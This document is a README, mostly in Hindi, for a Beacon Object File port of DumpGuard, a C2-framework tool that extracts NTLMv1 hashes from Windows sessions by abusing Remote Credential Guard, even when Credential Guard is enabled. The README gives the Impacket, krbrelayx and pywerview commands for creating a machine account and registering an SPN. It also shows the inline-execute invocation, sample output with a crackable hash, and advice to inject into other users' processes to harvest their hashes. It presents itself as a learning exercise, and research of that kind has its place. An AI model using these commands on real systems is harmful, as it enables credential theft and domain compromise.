
Beacon Object File (BOF) port of DumpGuard for extracting NTLMv1 hashes from sessions on modern Windows systems.
एक Beacon Object File (BOF) पोर्ट DumpGuard का, जो आधुनिक Windows सिस्टम पर सत्रों से NTLMv1 हैश निकालने के लिए है।

इस रिपॉजिटरी में DumpGuard का एक Beacon Object File (BOF) कार्यान्वयन शामिल है, जिसे मूल C#/.NET कार्यान्वयन से शुद्ध C में पोर्ट किया गया है, ताकि Havoc और अन्य C2 फ्रेमवर्क के साथ उपयोग किया जा सके जो BOF निष्पादन का समर्थन करते हैं।
यह एक प्रूफ ऑफ कॉन्सेप्ट (PoC) और एक सीखने का अभ्यास है।
यह BOF पोर्ट मेरी व्यक्तिगत यात्रा के भाग के रूप में बनाया गया था, ताकि मैं Remote Credential Guard प्रोटोकॉल, Kerberos प्रमाणीकरण प्रवाह, और अंतर्निहित Windows सुरक्षा तंत्रों के विवरण को समझ सकूं। इस उपकरण को C# से शुद्ध C में BOF निष्पादन के लिए पोर्ट करने की प्रक्रिया मुख्य रूप से एक शैक्षिक प्रयास था।
कृपया ध्यान दें कि:
यदि आपको समस्याएँ मिलती हैं या सुधार हैं, तो योगदान का स्वागत है। एक मजबूत और अच्छी तरह से परीक्षण किए गए कार्यान्वयन के लिए, कृपया मूल DumpGuard उपकरण देखें।
यह BOF @bytewreck द्वारा SpecterOps पर किए गए शोध और टूलिंग पर आधारित है:
DumpGuard Windows Remote Credential Guard (RCG) का उपयोग करके लॉग-इन उपयोगकर्ताओं से NTLMv1 हैश निकालता है LSASS मेमोरी को छुए बिना और प्रशासनिक विशेषाधिकारों की आवश्यकता के बिना। यह तब भी काम करता है जब Credential Guard सक्षम हो।
TSRemoteGuardCreds में लिपटे हों।राउंड 4 के बाद, हमारे पास एन्क्रिप्टेड क्रेडेंशियल ब्लॉब होता है। जादू तब होता है जब हम TSSSP पैकेज के साथ LsaCallAuthenticationPackage को कॉल करते हैं। LSA हमारे अनुरोध को RDPEAR -> TSRemoteGuard -> MSV1_0 के माध्यम से रूट करता है, जो रहस्यों को डिक्रिप्ट करता है और हमारे लिए NTLMv1 प्रतिक्रिया की गणना करता है।
Credential Guard NTLM और Kerberos रहस्यों को एक सुरक्षित VBS स्थान (LsaIso.exe) में अलग करता है, जिससे Mimikatz जैसे प्रत्यक्ष मेमोरी एक्सेस हमलों को रोका जा सके। हालाँकि, Credential Guard को अभी भी वैध प्रमाणीकरण के लिए उन रहस्यों का उपयोग करने की आवश्यकता है। यह वह इंटरफ़ेस है जिसका यह तकनीक शोषण करती है।
पूर्ण तकनीकी गहराई के लिए, देखें: Catching Credential Guard Off Guard
यह BOF पोर्ट मूल DumpGuard उपकरण से केवल "Self" मोड को लागू करता है। इस संस्करण में "All" मोड लागू नहीं किए गए हैं।
Remote Credential Guard प्रोटोकॉल के माध्यम से वर्तमान प्रक्रिया उपयोगकर्ता का NTLMv1 हैश डंप करता है।
जबकि यह BOF केवल "self" मोड लागू करता है, आप अभी भी अन्य उपयोगकर्ताओं के NTLMv1 हैश निकाल सकते हैं, उदाहरण के लिए, उस उपयोगकर्ता के रूप में चल रही प्रक्रिया में इंजेक्ट करके। उदाहरण के लिए, यदि आपके पास प्रशासक विशेषाधिकार हैं, तो आप BOF को किसी अन्य लॉग-इन उपयोगकर्ता के स्वामित्व वाली प्रक्रिया में इंजेक्ट कर सकते हैं ताकि उनका हैश प्राप्त किया जा सके।
इस तकनीक के लिए एक खाते के क्रेडेंशियल की आवश्यकता होती है जिसमें एक Service Principal Name (SPN) पंजीकृत हो। इसे प्राप्त करने का एक तरीका एक मशीन खाता बनाना और उसमें SPN जोड़ना है।
Impacket का उपयोग करना:
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
उदाहरण आउटपुट:
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
krbrelayx addspn.py का उपयोग करना:
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
pywerview का उपयोग करना:
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
आउटपुट में serviceprincipalname: host/yourspn.domain.local देखें।
inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>
नोट:
xपैरामीटर डोमेन से पहले आवश्यक एक प्लेसहोल्डर/डमी तर्क है। इसे भविष्य के संस्करणों में संबोधित किया जा सकता है (यदि कोई हो)।
उदाहरण:
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
उदाहरण आउटपुट:
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
महत्वपूर्ण: निकाला गया NTLMv1 हैश BOF प्रक्रिया चलाने वाले उपयोगकर्ता का है, प्रमाणीकरण के लिए उपयोग किए गए मशीन खाते (
EVIL_COMPUTER$) का नहीं। मशीन खाता क्रेडेंशियल का उपयोग केवल KDC में प्रमाणीकरण करने और Remote Credential Guard सत्र स्थापित करने के लिए किया जाता है।
आउटपुट hashcat-संगत NTLMv1 प्रारूप में है:
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE
make clean && make
आउटपुट: build/dumpguard.x64.o
BSD 3-Clause License
मूल DumpGuard उपकरण BSD 3-Clause License के तहत लाइसेंस प्राप्त है, कॉपीराइट (c) 2025 Valdemar Carøe। यह BOF पोर्ट समान लाइसेंस शर्तों को बनाए रखता है।
प्रश्नों, बग रिपोर्ट या योगदान के लिए, कृपया GitHub पर एक issue खोलें।
| राउंड | क्लाइंट -> सर्वर | सर्वर -> क्लाइंट |
|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (वास्तविक KDC से) |
| 2 | AP-REQ (सेवा टिकट) | AP-REP + MIC |
| 3 | PubKeyAuth (बाइंडिंग हैश) | सर्वर बाइंडिंग हैश |
| 4 | AuthInfo (TSRemoteGuardCreds) | N/A |